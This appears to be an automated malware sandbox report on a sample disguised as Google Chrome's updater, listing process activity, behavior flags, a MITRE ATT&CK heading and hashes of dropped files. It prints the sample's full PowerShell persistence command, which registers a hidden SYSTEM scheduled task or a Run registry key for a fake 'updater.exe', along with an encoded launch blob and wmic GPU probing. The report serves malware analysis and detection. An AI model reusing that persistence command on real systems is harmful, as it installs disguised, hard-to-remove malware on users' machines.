- Suspicious behavior: EnumeratesProcesses
PID:5080
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:1396
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious behavior: EnumeratesProcesses
PID:2668 -
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"3⤵
- Drops file in Program Files directory
PID:2920
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:2372 -
C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor3⤵
- Detects videocard installed
PID:5020
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵PID:4284
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C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:548
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
2.0MB
MD5a16a669a09bf158058b83e04e69fe38e
SHA1f6c94763850d9e590d86057139e8895a7aacdeea
SHA256cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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Filesize
226B
MD5fdba80d4081c28c65e32fff246dc46cb
SHA174f809dedd1fc46a3a63ac9904c80f0b817b3686
SHA256b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
SHA512b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29
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Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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Filesize
944B
MD52e907f77659a6601fcc408274894da2e
SHA19f5b72abef1cd7145bf37547cdb1b9254b4efe9d
SHA256385da35673330e21ac02545220552fe301fe54dedefbdafc097ac4342a295233
SHA51234fa0fff24f6550f55f828541aaefe5d75c86f8f0842d54b50065e9746f9662bb7209c74c9a9571540b9855bb3851f01db613190024e89b198d485bb5dc07721
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Filesize
1KB
MD589efa4dc086b57f20b51665f81fb7550
SHA1e6e0b888837097ea584b4c6cb7c4585e26176986
SHA256528a5eec1d68a526aab7b0fbdf452b6ac9ca59d1528a8f196df9b6cbefb07f3e
SHA512aea2c6ab833aac5891f0f29ec75ba19f0d6b0b6f5bbdfc662e4a15322cf342a209aba66da6d28fd2448ef6c4ec59dfb7af9991750f2c71d1045bd5170b0bc4ad
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize4KB
MD5bdb25c22d14ec917e30faf353826c5de
SHA16c2feb9cea9237bc28842ebf2fea68b3bd7ad190
SHA256e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
SHA512b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize1KB
MD5b42c70c1dbf0d1d477ec86902db9e986
SHA11d1c0a670748b3d10bee8272e5d67a4fabefd31f
SHA2568ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
SHA51257fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5